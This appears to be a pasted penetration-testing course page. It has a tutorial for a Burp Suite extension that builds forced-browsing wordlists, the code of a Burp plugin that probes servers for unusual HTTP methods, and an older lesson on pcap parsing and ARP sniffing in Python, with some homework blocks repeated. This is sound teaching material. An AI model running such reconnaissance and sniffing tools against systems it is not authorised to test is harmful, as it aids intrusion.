• Create a folder where you’ll store extensions – I named mine extensions
4022
• Download the Jython standalone JAR file (http://www.jython.org/downloads.html) – Place into the extensions folder
4023
• Download exceptions_fix.py (https://github.com/securityMB/burp-exceptions/blob/master/exceptions_fix.py) to the extensions folder – this will make debugging easier
4024
• Configure Burp to use Jython – Extender > Options > Python Environment > Select file
4025
• Create a new file (GenerateForcedBrowseWordlist.py) in your favorite text editor (save it in your extensions folder)
4026
 
4027
Full code: https://raw.githubusercontent.com/laconicwolf/burp-extensions/master/GenerateForcedBrowseWordlist.py
4028
 
4029
 
4030
- Importing required modules, accessing the Extender API, and implementing the debugger
4031
 
4032
-----------------------------------------------------------------------------------
4033
 
4034
from burp import IBurpExtender, IContextMenuFactory
4035
from java.util import ArrayList
4036
from javax.swing import JMenuItem
4037
import threading
4038
import sys
4039
try:
4040
    from exceptions_fix import FixBurpExceptions
4041
except ImportError:
4042
    pass
4043
 
4044
------------------------------------------------------------------------------------
4045
 
4046
 
4047
The IBurpExtender module is required for all extensions, while IContextMenuFactory allows us to have the right-click functionality. The JMenuItem is used for the context menu GUI, and the ArrayList is to store our list of options that we want to appear in the context menu. The sys module is imported to allow Python errors to be shown in stdout with the help of the FixBurpExceptions script. I placed that in a Try/Except block so if we don’t have the script the code will still work fine.
4048
 
4049
This next code snippet will implement the FixBurpExceptions prettier debugger, set references to our callbacks and extension helpers, register our extension with Burp, and keep create a context menu. If you’re following along type or paste this code after the imports:
4050
 
4051
-------------------------------------------------------------------------------------
4052
class BurpExtender(IBurpExtender, IContextMenuFactory):
4053
    def registerExtenderCallbacks(self, callbacks):
4054
       
4055
        sys.stdout = callbacks.getStdout()
4056
        self.callbacks = callbacks
4057
        self.helpers = callbacks.getHelpers()
4058
        self.callbacks.setExtensionName("Forced Browsing Wordlist Generator")
4059
        callbacks.registerContextMenuFactory(self)
4060
       
4061
        return
4062
 
4063
try:
4064
    FixBurpExceptions()
4065
except:
4066
    pass
4067
-------------------------------------------------------------------------------------
4068
 
4069
The above class implements IBurpExtender, which is required for all extensions and must be named BurpExtender. Within the required method, registerExtendedCallbacks, the line self.callbacks keeps a reference to Burp so we can interact with it, and in our case will be used to set the extension name, and eventually obtain data from the Sitemap. The line callbacks.registerContextMenuFactory(self) tells Burp that we want to use the context menu, which is the right-click functionality. FixBurpExceptions is called at the end of the script just in case we have an error (Thanks for the code, SecurityMB!). The try/except block calling FixBurpExceptions will always go at the very end of the script.
4070
 
4071
Save the script to your extensions folder and then load the file into Burp: Extender > Extensions > Add > Extension Details > Extension Type: Python > Select file… > GenerateForcedBrowseWordlist.py
4072
 
4073
The extension should load without any errors or output. If you click on the Target > Sitemap and right-click something, if you go back to the Extender tab you should now have an error.
4074
 
4075
The error is recorded as NotImplementedError, because we invoked the iContextMenuFactory but did not implement any menu items. We can figure out why this happened by reviewing the Extender API documentation (either in Burp or online):
4076
 
4077
- the method createMenuItems() “…will be called by Burp when the user invokes a context menu anywhere within Burp. The factory can then provide any custom context menu items that should be displayed in the context menu, based on the details of the menu invocation.”
4078
 
4079
 
4080
- Creating an interface to right-click and perform a function
4081
 
4082
 
4083
We will create the menu items, and then define the functions that are called when the menu items are clicked:
4084
---------------------------------------------------------------------------------------------------
4085
        ...
4086
        callbacks.registerContextMenuFactory(self)
4087
       
4088
        return
4089
 
4090
    def createMenuItems(self, invocation):
4091
        self.context = invocation
4092
        menuList = ArrayList()
4093
        menuItem = JMenuItem("Generate forced browsing wordlist from selected items",
4094
                              actionPerformed=self.createWordlistFromSelected)
4095
        menuList.add(menuItem)
4096
        menuItem = JMenuItem("Generate forced browsing wordlist from all hosts in scope",
4097
                              actionPerformed=self.createWordlistFromScope)
4098
        menuList.add(menuItem)
4099
        return menuList
4100
 
4101
    def createWordlistFromSelected(self, event):
4102
        print "in createWordlistFromSelected"
4103
 
4104
    def createWordlistFromScope(self, event):
4105
        print "in createWordlistFromScope"
4106
 
4107
try:
4108
    FixBurpExceptions()
4109
...
4110
--------------------------------------------------------------------------------------------------
4111
 
4112
Save the code and reload the extension. Try right-clicking in the Sitemap, and you should now see the option to “Generate forced browsing wordlist from selected items” or “Generate forced browsing wordlist from all hosts in scope”. Click on one of them, and it will execute the function, and you should see output in the Extender output pane.
4113
 
4114
 
4115
Excellent. So far we’ve added out menu items to the context menu, and we are able to run our functions when the menu items are clicked. The next part of the program builds out these function further, and shows how to interact with the recorded HTTP requests and responses contained in the Sitemap.
4116
 
4117
We defined two menu options, “Generate forced browsing wordlist from selected items” or “Generate forced browsing wordlist from all hosts in scope”, so we need to actually make these functions do something other than print. They are actually both going to basically do the same thing, which is start another thread and call another function that will do most of the work. The only difference between the functions will be that createWordlistFromScope() will set a class variable that tells only looks at the sites in scope. On to the code. We edit the functions that we created so they will do more than just print:
4118
 
4119
 
4120
----------------------------------------------------------------------
4121
 
4122
    def createMenuItems(self, invocation):
4123
        ...
4124
        return menuList
4125
 
4126
    def createWordlistFromSelected(self, event):
4127
        self.fromScope = False
4128
        t = threading.Thread(target=self.createWordlist)
4129
        t.daemon = True
4130
        t.start()
4131
 
4132
    def createWordlistFromScope(self, event):
4133
        self.fromScope = True
4134
        t = threading.Thread(target=self.createWordlist)
4135
        t.daemon = True
4136
        t.start()
4137
 
4138
    def createWordlist(self):
4139
        print "In createWordlist"
4140
 
4141
try:
4142
    FixBurpExceptions()
4143
...
4144
 
4145
--------------------------------------------------------------------
4146
 
4147
The self.fromScope variable is set so the createWordlist function will know whether to look at all of the items in scope or to only look and the site(s) that were selected in the context menu. Then, a thread is defined (t), configured to run the createWordlist function (target=self.createWordlist), and start the thread. Without multi-threading, if we try to run the extension and have a large Sitemap or multiple targets selected, then the GUI will freeze while the program is running.
4148
 
4149
If you save and reload this extension, then right-click and send the data to our extension, you should receive the following output in the Extender output tab.
4150
 
4151
Now, we can finish the createWordList() function, which is where we interact with the Sitemap:
4152
 
4153
- Writing the function that interacts with requests and responses in the Sitemap
4154
 
4155
We can review the API documentation (within Burp) to see how to get the data from the Sitemap:
4156
 
4157
So if called without any parameter, the entire Sitemap is returned. If a URL prefix is specified, it will only return the Sitemap data that startswith the URL prefix. Recall that our program gives the user two options: “Generate forced browsing wordlist from selected items” or “Generate forced browsing wordlist from all hosts in scope”. To generate the wordlist for all hosts in scope we can return the entire Sitemap, and then use another Burp callbacks method isInScope() to determine whether or not we should use it. Note: When testing this extension I noticed that if you click on an out-of-scope entry in the Sitemap and select “Generate forced browsing wordlist from all hosts in scope”, it will still include that selection, as if it was in scope.
4158
 
4159
To generate the wordlist from selected items we first need to record what is selected, then we can either pull the entire Sitemap and compare the URLs we want, or we can give the getSiteMap() the URL prefix for each site individually. I chose the former for this program.
4160
 
4161
First, we determine what the user’s selection was:
4162
 
4163
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4164
 
4165
    def createWordlistFromScope(self, event):
4166
        ...
4167
        t.start()
4168
   
4169
    def createWordlist(self):
4170
        httpTraffic = self.context.getSelectedMessages()        
4171
        hostUrls = []
4172
        for traffic in httpTraffic:
4173
            try:
4174
                hostUrls.append(str(traffic.getUrl()))
4175
            except UnicodeEncodeError:
4176
                continue
4177
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4178
 
4179
Recall that self.context was what the user had selected in the Sitemap when they right-clicked, and the getSelectedMessages() method returns an array of objects containing data about the the items the user had selected. When I was developing the extension I inspected the object to get an idea of what it contained:
4180
 
4181
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4182
 
4183
print type(httpTraffic)
4184
<type 'array.array'>
4185
 
4186
print dir(traffic)
4187
['...', 'b', 'class', 'comment', 'equals', 'getClass', 'getComment', 'getHighlight', 'getHost', 'getHttpService', 'getPort', 'getProtocol', 'getRequest', 'getResponse', 'getStatusCode', 'getUrl', 'hashCode', 'highlight', 'host', 'httpService', 'notify', 'notifyAll', 'port', 'protocol', 'request', 'response', 'setComment', 'setHighlight', 'setHost', 'setHttpService', 'setPort', 'setProtocol', 'setRequest', 'setResponse', 'statusCode', 'toString', 'url', 'wait']
4188
 
4189
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4190
 
4191
 
4192
We are interested in getting the URL from each object, so we iterate through the array and call the getUrl() method. This method returns a type of ‘java.net.URL’, which we convert to a string using str() and add it to our hostUrls list that we will use later to filter the Sitemap data. The try/except block is to deal with any encoding errors, which I handle by ignoring not adding it to the hostUrls list.
4193
 
4194
Now, we get the data from the Sitemap:
4195
 
4196
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4197
    def createWordlist(self):
4198
        ...
4199
                continue
4200
 
4201
        urllist = []
4202
        siteMapData = self.callbacks.getSiteMap(None)
4203
        for entry in siteMapData:
4204
            requestInfo = self.helpers.analyzeRequest(entry)
4205
            url = requestInfo.getUrl()
4206
            try:
4207
                decodedUrl = self.helpers.urlDecode(str(url))
4208
            except Exception as e:
4209
                continue
4210
 
4211
            if self.fromScope and self.callbacks.isInScope(url):
4212
                urllist.append(decodedUrl)
4213
            else:
4214
                for url in hostUrls:
4215
                    if decodedUrl.startswith(str(url)):
4216
                        urllist.append(decodedUrl)
4217
 
4218
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4219
 
4220
We initialize a new list (urllist) to hold the URLs from each site, then call getSiteMap(None), which will return all of the Sitemap entries. For each entry, we use the analyzeRequest() method to get the URL, and then URL decode each entry.
4221
 
4222
It is at this point that we get to our filtering. If self.fromScope is true, the isInScope() method is called on the URL. If that returns true, then the URL-decoded URL is appended to our urllist. If self.fromScope is False (meaning the user chose “Generate forced browsing wordlist from selected items”), the URL from the Sitemap is checked against the URLs that the user had selected in the context menu. If the decoded URL starts with the user-selected URL, then it is appended to the urllist.
4223
 
4224
Now, the urllist variable contains a list of URLs, complete with the querystring. Since we don’t need the querystring, and only want the last part of the path, we need to split up the URL and take only the part we want:
4225
 
4226
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4227
    def createWordlist(self):
4228
        ...
4229
                        urllist.append(decodedUrl)
4230
 
4231
        filenamelist = []
4232
        for entry in urllist:
4233
            filenamelist.append(entry.split('/')[-1].split('?')[0])
4234
 
4235
        for word in sorted(set(filenamelist)):
4236
            if word:
4237
                try:
4238
                    print word
4239
                except UnicodeEncodeError:
4240
                    continue
4241
 
4242
try:
4243
    FixBurpExceptions()
4244
...
4245
 
4246
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4247
 
4248
The filenamelist is where we will store our forced browsing wordlist. We split each URL entry in urllist, first by the ‘/’. The split function() turns the string URL into a list, and the [-1] will grab the last element of that list. That last element will be the filename and any querystring, so it is split again at the ‘?’ and the first element is selected. For example:
4249
 
4250
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4251
>>> url = 'http://example.com/app/folder/file.php?param=value'
4252
>>> url.split('/')
4253
['http:', '', 'example.com', 'app', 'folder', 'file.php?param=value']
4254
>>> url.split('/')[-1]
4255
'file.php?param=value'
4256
>>> url.split('/')[-1].split('?')
4257
['file.php', 'param=value']
4258
>>> url.split('/')[-1].split('?')[0]
4259
'file.php'
4260
 
4261
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4262
 
4263
That filename is appended into the filenamelist. Finally, we iterate through the filenamelist (after sorting and unique’ing the list) and print everything into the Extender output pane.
4264
 
4265
And that’s it! Save, reload, and you should now have a functional extension that makes use of the context menu and Sitemap.
4266
 
4267
- Full code:
4268
 
4269
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4270
 
4271
__author__ = 'Jake Miller (@LaconicWolf)'
4272
__date__ = '20190226'
4273
__version__ = '0.01'
4274
__description__ = """\
4275
Burp Extension that extracts the filenames from URLs in
4276
scope or from a selected host. Just right click on the
4277
hosts pane in the sitemap and click 'Generate forced
4278
browsing wordlist' for either selected items or all hosts
4279
in scope. The output will appear in the extender tab, where
4280
you can set configure the extension to output to the system console,
4281
save to a file, or show in the UI.
4282
 
4283
Blog post explaining all the code in detail:
4284
https://laconicwolf.com/2019/03/09/burp-extension-python-tutorial-generate-a-forced-browsing-wordlist/
4285
"""
4286
 
4287
from burp import IBurpExtender, IContextMenuFactory
4288
from java.util import ArrayList
4289
from javax.swing import JMenuItem
4290
import threading
4291
import sys
4292
try:
4293
    from exceptions_fix import FixBurpExceptions
4294
except ImportError:
4295
    pass
4296
 
4297
class BurpExtender(IBurpExtender, IContextMenuFactory):
4298
    def registerExtenderCallbacks(self, callbacks):
4299
       
4300
        sys.stdout = callbacks.getStdout()
4301
        self.callbacks = callbacks
4302
        self.helpers = callbacks.getHelpers()
4303
        self.callbacks.setExtensionName("Forced Browsing Wordlist Generator")
4304
        callbacks.registerContextMenuFactory(self)
4305
       
4306
        return
4307
 
4308
    def createMenuItems(self, invocation):
4309
        self.context = invocation
4310
        menuList = ArrayList()
4311
        menuItem = JMenuItem("Generate forced browsing wordlist from selected items",
4312
                              actionPerformed=self.createWordlistFromSelected)
4313
        menuList.add(menuItem)
4314
        menuItem = JMenuItem("Generate forced browsing wordlist from all hosts in scope",
4315
                              actionPerformed=self.createWordlistFromScope)
4316
        menuList.add(menuItem)
4317
        return menuList
4318
 
4319
    def createWordlistFromSelected(self, event):
4320
        self.fromScope = False
4321
        t = threading.Thread(target=self.createWordlist)
4322
        t.daemon = True
4323
        t.start()
4324
 
4325
    def createWordlistFromScope(self, event):
4326
        self.fromScope = True
4327
        t = threading.Thread(target=self.createWordlist)
4328
        t.daemon = True
4329
        t.start()
4330
 
4331
    def createWordlist(self):
4332
        httpTraffic = self.context.getSelectedMessages()        
4333
        hostUrls = []
4334
        for traffic in httpTraffic:
4335
            try:
4336
                hostUrls.append(str(traffic.getUrl()))
4337
            except UnicodeEncodeError:
4338
                continue
4339
 
4340
        urllist = []
4341
        siteMapData = self.callbacks.getSiteMap(None)
4342
        for entry in siteMapData:
4343
            requestInfo = self.helpers.analyzeRequest(entry)
4344
            url = requestInfo.getUrl()
4345
            try:
4346
                decodedUrl = self.helpers.urlDecode(str(url))
4347
            except Exception as e:
4348
                continue
4349
 
4350
            if self.fromScope and self.callbacks.isInScope(url):
4351
                urllist.append(decodedUrl)
4352
            else:
4353
                for url in hostUrls:
4354
                    if decodedUrl.startswith(str(url)):
4355
                        urllist.append(decodedUrl)
4356
       
4357
        filenamelist = []
4358
        for entry in urllist:
4359
            filenamelist.append(entry.split('/')[-1].split('?')[0])
4360
 
4361
        for word in sorted(set(filenamelist)):
4362
            if word:
4363
                try:
4364
                    print word
4365
                except UnicodeEncodeError:
4366
                    continue        
4367
try:
4368
    FixBurpExceptions()
4369
except:
4370
    pass
4371
 
4372
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4373
 
4374
 
4375
#########################
4376
# BurpVERBalyzer Plugin #
4377
#########################
4378
 
4379
https://raw.githubusercontent.com/doyler/SecurityTools/master/BurpVERBalyzer/VERBalyzer.py
4380
 
4381
- Full code:
4382
 
4383
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4384
 
4385
# VERBalyzer - Burp Plugin to detect HTTP Methods supported by the server
4386
# Author: Ray Doyle (@doylersec) <https://www.doyler.net>
4387
# Copyright 2017
4388
#
4389
# Licensed under the Apache License, Version 2.0 (the "License");
4390
# you may not use this file except in compliance with the License.
4391
# You may obtain a copy of the License at
4392
#
4393
# http://www.apache.org/licenses/LICENSE-2.0
4394
#
4395
# Unless required by applicable law or agreed to in writing, software
4396
# distributed under the License is distributed on an "AS IS" BASIS,
4397
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
4398
# See the License for the specific language governing permissions and
4399
# limitations under the License.
4400
 
4401
try:
4402
    from burp import IBurpExtender
4403
    from burp import IScannerCheck
4404
    from burp import IScanIssue
4405
    from burp import IScannerInsertionPointProvider
4406
    from burp import IScannerInsertionPoint
4407
    from burp import IParameter
4408
    from array import array
4409
    from org.python.core.util import StringUtil
4410
    import string
4411
except ImportError:
4412
    print "Failed to load dependencies."
4413
 
4414
VERSION = "1.0"
4415
callbacks = None
4416
helpers = None
4417
 
4418
methods = [
4419
    'OPTIONS',
4420
    #'GET',
4421
    #'HEAD',
4422
    #'POST',
4423
    'PUT',
4424
    #'DELETE',
4425
    'TRACE',
4426
    'CONNECT'
4427
    'PROPFIND',
4428
    'PROPPATCH',
4429
    'MKCOL',
4430
    'COPY',
4431
    'MOVE',
4432
    'LOCK',
4433
    'UNLOCK',
4434
    'VERSION-CONTROL',
4435
    'REPORT',
4436
    'CHECKOUT',
4437
    'CHECKIN',
4438
    'UNCHECKOUT',
4439
    'MKWORKSPACE',
4440
    'UPDATE',
4441
    'LABEL',
4442
    'MERGE',
4443
    'BASELINE-CONTROL',
4444
    'MKACTIVITY',
4445
    'ORDERPATCH',
4446
    'ACL',
4447
    'SEARCH',
4448
    'PATCH',
4449
    'FOO'
4450
]
4451
 
4452
class BurpExtender(IBurpExtender, IScannerInsertionPointProvider, IScannerCheck):
4453
    def registerExtenderCallbacks(self, callbacks):
4454
        self._callbacks = callbacks
4455
        self._helpers = callbacks.getHelpers()
4456
 
4457
        callbacks.setExtensionName("VERBalyzer")
4458
 
4459
        callbacks.registerScannerInsertionPointProvider(self)
4460
        callbacks.registerScannerCheck(self)
4461
 
4462
        print "Successfully loaded VERBalyzer v" + VERSION
4463
        return
4464
 
4465
    # helper method to search a response for occurrences of a literal match string
4466
    # and return a list of start/end offsets
4467
    def _get_matches(self, response, match):
4468
        matches = []
4469
        start = 0
4470
        reslen = len(response)
4471
        matchlen = len(match)
4472
        while start < reslen:
4473
            start = self._helpers.indexOf(response, match, True, start, reslen)
4474
            if start == -1:
4475
                break
4476
            matches.append(array('i', [start, start + matchlen]))
4477
            start += matchlen
4478
 
4479
        return matches
4480
 
4481
    #
4482
    # implement IScannerInsertionPointProvider
4483
    #
4484
    def getInsertionPoints(self, baseRequestResponse):
4485
        requestLine = self._helpers.analyzeRequest(baseRequestResponse.getRequest()).getHeaders()[0]
4486
 
4487
        if (requestLine is None):
4488
            return None
4489
       
4490
        else:
4491
            # if the parameter is present, add a single custom insertion point for it
4492
            return [ InsertionPoint(self._helpers, baseRequestResponse.getRequest(), requestLine) ]
4493
       
4494
    def doActiveScan(self, baseRequestResponse, insertionPoint):
4495
        if 'HTTP Method' != insertionPoint.getInsertionPointName():
4496
            return []
4497
 
4498
        issues = []
4499
       
4500
        for method in methods:
4501
            checkRequest = insertionPoint.buildRequest(method)
4502
            checkRequestResponse = self._callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), checkRequest)
4503
 
4504
            matches = self._get_matches(checkRequestResponse.getResponse(), "HTTP/1.1 200 OK")
4505
 
4506
            if len(matches) > 0:
4507
                # get the offsets of the payload within the request, for in-UI highlighting
4508
                requestHighlights = [insertionPoint.getPayloadOffsets(method)]
4509
 
4510
                issues.append(CustomScanIssue(
4511
                    baseRequestResponse.getHttpService(),
4512
                    self._helpers.analyzeRequest(baseRequestResponse).getUrl(),
4513
                    [self._callbacks.applyMarkers(checkRequestResponse, requestHighlights, matches)],
4514
                    "Non-standard HTTP Method Found",
4515
                    "The following method was found to be supported by the server: " + method,
4516
                    "Medium"))
4517
 
4518
        return issues
4519
 
4520
    def doPassiveScan(self, basePair):
4521
        return []
4522
 
4523
    def consolidateDuplicateIssues(self, existingIssue, newIssue):
4524
        # This method is called when multiple issues are reported for the same URL
4525
        # path by the same extension-provided check. The value we return from this
4526
        # method determines how/whether Burp consolidates the multiple issues
4527
        # to prevent duplication
4528
        #
4529
        # Since the issue name is sufficient to identify our issues as different,
4530
        # if both issues have the same name, only report the existing issue
4531
        # otherwise report both issues
4532
        if existingIssue.getIssueDetail() == newIssue.getIssueDetail():
4533
            return -1
4534
        return 0
4535
 
4536
#
4537
# class implementing IScannerInsertionPoint
4538
#
4539
 
4540
class InsertionPoint(IScannerInsertionPoint):
4541
 
4542
    def __init__(self, helpers, baseRequest, requestLine):
4543
        self._helpers = helpers
4544
        self._baseRequest = baseRequest
4545
 
4546
        # parse the location of the input string within the decoded data
4547
        start = 0
4548
        self._insertionPointPrefix = requestLine[:start]
4549
        end = string.find(requestLine, " /", start)
4550
        if (end == -1):
4551
            end = requestLine.length()
4552
        self._baseValue = requestLine[start:end]
4553
        self._insertionPointSuffix = requestLine[end:]
4554
        return
4555
       
4556
    #
4557
    # implement IScannerInsertionPoint
4558
    #
4559
    def getInsertionPointName(self):
4560
        return "HTTP Method"
4561
 
4562
    def getBaseValue(self):
4563
        return self._baseValue
4564
 
4565
    def buildRequest(self, payload):
4566
        # Gross workaround via Dafydd - https://support.portswigger.net/customer/portal/questions/12431820-design-of-active-scanner-plugin-vs-insertionpoints
4567
        if payload.tostring() not in methods:
4568
            raise Exception('Just stopping Burp from using our custom insertion point')
4569
        else:
4570
            requestStr = self._baseRequest.tostring()
4571
 
4572
            newRequest = requestStr.replace(self._baseValue, payload)
4573
            newRequestB = StringUtil.toBytes(newRequest)
4574
       
4575
            # update the request with the new parameter value
4576
            return newRequestB
4577
 
4578
    def getPayloadOffsets(self, payload):
4579
        return [0, len(payload.tostring())]
4580
 
4581
    def getInsertionPointType(self):
4582
        return INS_EXTENSION_PROVIDED
4583
 
4584
#
4585
# class implementing IScanIssue to hold our custom scan issue details
4586
#
4587
class CustomScanIssue (IScanIssue):
4588
    def __init__(self, httpService, url, httpMessages, name, detail, severity):
4589
        self._httpService = httpService
4590
        self._url = url
4591
        self._httpMessages = httpMessages
4592
        self._name = name
4593
        self._detail = detail
4594
        self._severity = severity
4595
 
4596
    def getUrl(self):
4597
        return self._url
4598
 
4599
    def getIssueName(self):
4600
        return self._name
4601
 
4602
    def getIssueType(self):
4603
        return 0
4604
 
4605
    def getSeverity(self):
4606
        return self._severity
4607
 
4608
    def getConfidence(self):
4609
        return "Certain"
4610
 
4611
    def getIssueBackground(self):
4612
        pass
4613
 
4614
    def getRemediationBackground(self):
4615
        pass
4616
 
4617
    def getIssueDetail(self):
4618
        return self._detail
4619
 
4620
    def getRemediationDetail(self):
4621
        pass
4622
 
4623
    def getHttpMessages(self):
4624
        return self._httpMessages
4625
 
4626
    def getHttpService(self):
4627
        return self._httpService
4628
 
4629
 
4630
 
4631
 
4632
 
4633
4634
4635
4636
4637
4638
-------------------------- Old Content below --------------------------
4639
-------------------------- Old Content below --------------------------
4640
-------------------------- Old Content below --------------------------
4641
-------------------------- Old Content below --------------------------
4642
-------------------------- Old Content below --------------------------
4643
-------------------------- Old Content below --------------------------
4644
-------------------------- Old Content below --------------------------
4645
-------------------------- Old Content below --------------------------
4646
-------------------------- Old Content below --------------------------
4647
-------------------------- Old Content below --------------------------
4648
-------------------------- Old Content below --------------------------
4649
4650
4651
4652
4653
4654
4655
4656
4657
4658
4659
4660
4661
4662
#################################################
4663
# Lesson 16: Parsing Packets with Python's DPKT #
4664
#################################################
4665
The first thing that you will need to do is install dpkt. 
4666
4667
---------------------------Type This-----------------------------------
4668
4669
4670
 pip install dpkt
4671
4672
----------------------------------------------------------------------
4673
4674
4675
4676
Now cd to your courseware directory, and the cd into the subfolder '2-PCAP-Parsing/Resources'. 
4677
Run tcpdump to capture a .pcap file that we will use for the next exercise
4678
4679
---------------------------Type This-----------------------------------
4680
4681
sudo tcpdump -ni wlp8s0 -s0 -w quick.pcap
4682
4683
----------------------------------------------------------------------
4684
4685
4686
--open another command prompt--
4687
4688
---------------------------Type This-----------------------------------
4689
4690
4691
wget http://packetlife.net/media/library/12/tcpdump.pdf
4692
4693
----------------------------------------------------------------------
4694
4695
Let's do something simple:
4696
4697
---------------------------Type This-----------------------------------
4698
4699
4700
vi quickpcap.py
4701
4702
---------------------------Paste This-----------------------------------
4703
4704
#!/usr/bin/env python3
4705
import dpkt
4706
4707
# Simple script to read the timestamps in a pcap file
4708
# Reference: http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-0-simple-example-how-to.html
4709
4710
f = open("quick.pcap","r")
4711
pcap = dpkt.pcap.Reader(f)
4712
4713
for ts, buf in pcap:
4714
	print (ts)
4715
4716
f.close()
4717
4718
4719
4720
----------------------------------------------------------------------
4721
4722
4723
Now let's run the script we just wrote
4724
4725
---------------------------Type This-----------------------------------
4726
4727
$ python3 quickpcap.py
4728
4729
----------------------------------------------------------------------
4730
4731
4732
4733
How dpkt breaks down a packet:
4734
4735
Reference:
4736
http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-1-dpkt-sub-modules.html
4737
4738
    src: the MAC address of SOURCE.
4739
    dst: The MAC address of DESTINATION
4740
    type: The protocol type of contained ethernet payload.
4741
4742
The allowed values are listed in the file "ethernet.py",
4743
such as:
4744
a) ETH_TYPE_IP: It means that the ethernet payload is IP layer data.
4745
b) ETH_TYPE_IPX: Means that the ethernet payload is IPX layer data.
4746
4747
4748
References:
4749
http://stackoverflow.com/questions/6337878/parsing-pcap-files-with-dpkt-python
4750
4751
4752
4753
4754
4755
4756
4757
Ok - now let's have a look at pcapparsing.py
4758
4759
---------------------------Type This-----------------------------------
4760
4761
4762
sudo tcpdump -ni wlp8s0 -s0 -w capture-100.pcap
4763
4764
----------------------------------------------------------------------
4765
4766
--open another command prompt--
4767
4768
---------------------------Type This-----------------------------------
4769
4770
4771
wget http://packetlife.net/media/library/13/Wireshark_Display_Filters.pdf
4772
4773
----------------------------------------------------------------------
4774
4775
4776
Ok - now let's have a look at pcapparsing.py
4777
4778
4779
--------------------------------------------------------------
4780
4781
****************************************
4782
import socket
4783
import dpkt
4784
import sys
4785
f = open('capture-100.pcap','r')
4786
pcapReader = dpkt.pcap.Reader(f)
4787
4788
for ts,data in pcapReader:
4789
    ether = dpkt.ethernet.Ethernet(data)
4790
    if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
4791
    ip = ether.data
4792
    tcp = ip.data
4793
    src = socket.inet_ntoa(ip.src)
4794
    srcport = tcp.sport
4795
    dst = socket.inet_ntoa(ip.dst)
4796
    dstport = tcp.dport
4797
    print(("src: %s (port : %s)-> dest: %s (port %s)" % (src,srcport ,dst,dstport)))
4798
4799
f.close()
4800
4801
----------------------------------------------------------------------
4802
4803
4804
4805
OK - let's run it:
4806
4807
---------------------------Type This-----------------------------------
4808
4809
$ python3 pcapparsing.py
4810
4811
----------------------------------------------------------------------
4812
4813
----------------------------------------------------------------------
4814
4815
4816
running this script might throw an error like this:
4817
4818
Traceback (most recent call last):
4819
  File "pcapparsing.py", line 9, in <module>
4820
    if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
4821
4822
4823
If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
4824
4825
4826
4827
4828
Your homework for today...
4829
4830
4831
Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
4832
4833
***********************************************************
4834
4835
4836
4837
4838
Your challenge is to fix the Traceback error
4839
4840
4841
4842
4843
----------------------------------------------------------------------
4844
4845
4846
running this script might throw an error like this:
4847
4848
Traceback (most recent call last):
4849
  File "pcapparsing.py", line 9, in <module>
4850
    if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
4851
4852
4853
If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
4854
4855
4856
4857
4858
Your homework for today...
4859
4860
4861
Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
4862
4863
***********************************************************
4864
4865
4866
4867
4868
Your challenge is to fix the Traceback error
4869
4870
---------------------------Paste This-----------------------------------
4871
4872
import pcapy
4873
import dpkt
4874
import sys
4875
import socket
4876
import struct
4877
4878
SINGLE_SHOT = False
4879
4880
# list all the network devices
4881
pcapy.findalldevs()
4882
4883
iface = "wlp8s0"
4884
filter = "arp"
4885
max_bytes = 1024
4886
promiscuous = False
4887
read_timeout = 100 # in milliseconds
4888
4889
pc = pcapy.open_live( iface, max_bytes, promiscuous, read_timeout )
4890
pc.setfilter( filter )
4891
4892
# callback for received packets
4893
def recv_pkts(hdr, data):
4894
    packet = dpkt.ethernet.Ethernet( data )
4895
4896
    print (type( packet.data ))
4897
    print ("ipsrc: %s, ipdst: %s" %( \
4898
                 socket.inet_ntoa( packet.data.spa ), \
4899
                 socket.inet_ntoa( packet.data.tpa ) ))
4900
4901
    print ("macsrc: %s, macdst: %s " % (
4902
                "%x:%x:%x:%x:%x:%x" % struct.unpack("BBBBBB",packet.data.sha),
4903
                "%x:%x:%x:%x:%x:%x" % struct.unpack("BBBBBB",packet.data.tha ) ))
4904
4905
if SINGLE_SHOT:
4906
    header, data = pc.next()
4907
    sys.exit(0)
4908
else:
4909
    packet_limit = -1 # infinite
4910
    pc.loop( packet_limit, recv_pkts ) # capture packets
4911
4912
4913
----------------------------------------------------------------------
4914
4915
4916
4917
4918
##################################
4919
# Day 1 Homework videos to watch #
4920
##################################
4921
Here is your first set of youtube videos that I'd like for you to watch:
4922
https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 1-10)
4923
4924
How to install idle in Mac OS X:
4925
https://stackoverflow.com/questions/8792044/how-do-i-launch-idle-the-development-environment-for-python-on-mac-os-10-7
4926
4927
4928
4929
4930
########################
4931
# Day 1 Challenge task #
4932
########################
4933
Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
4934
4935
Running the current version of the script may give you an error like this:
4936
4937
Traceback (most recent call last):
4938
  File "pcapparsing.py", line 9, in <module>
4939
    if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
4940
4941
4942
If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
4943
4944
Your challenge task is to fix the Traceback error
4945
4946
4947
4948
4949
4950
4951
                            #################################
4952
----------- ############### # Day 2: Python sockets & Scapy # ############### -----------
4953
                            #################################
4954
4955
4956
4957
4958
4959
#############################################
4960
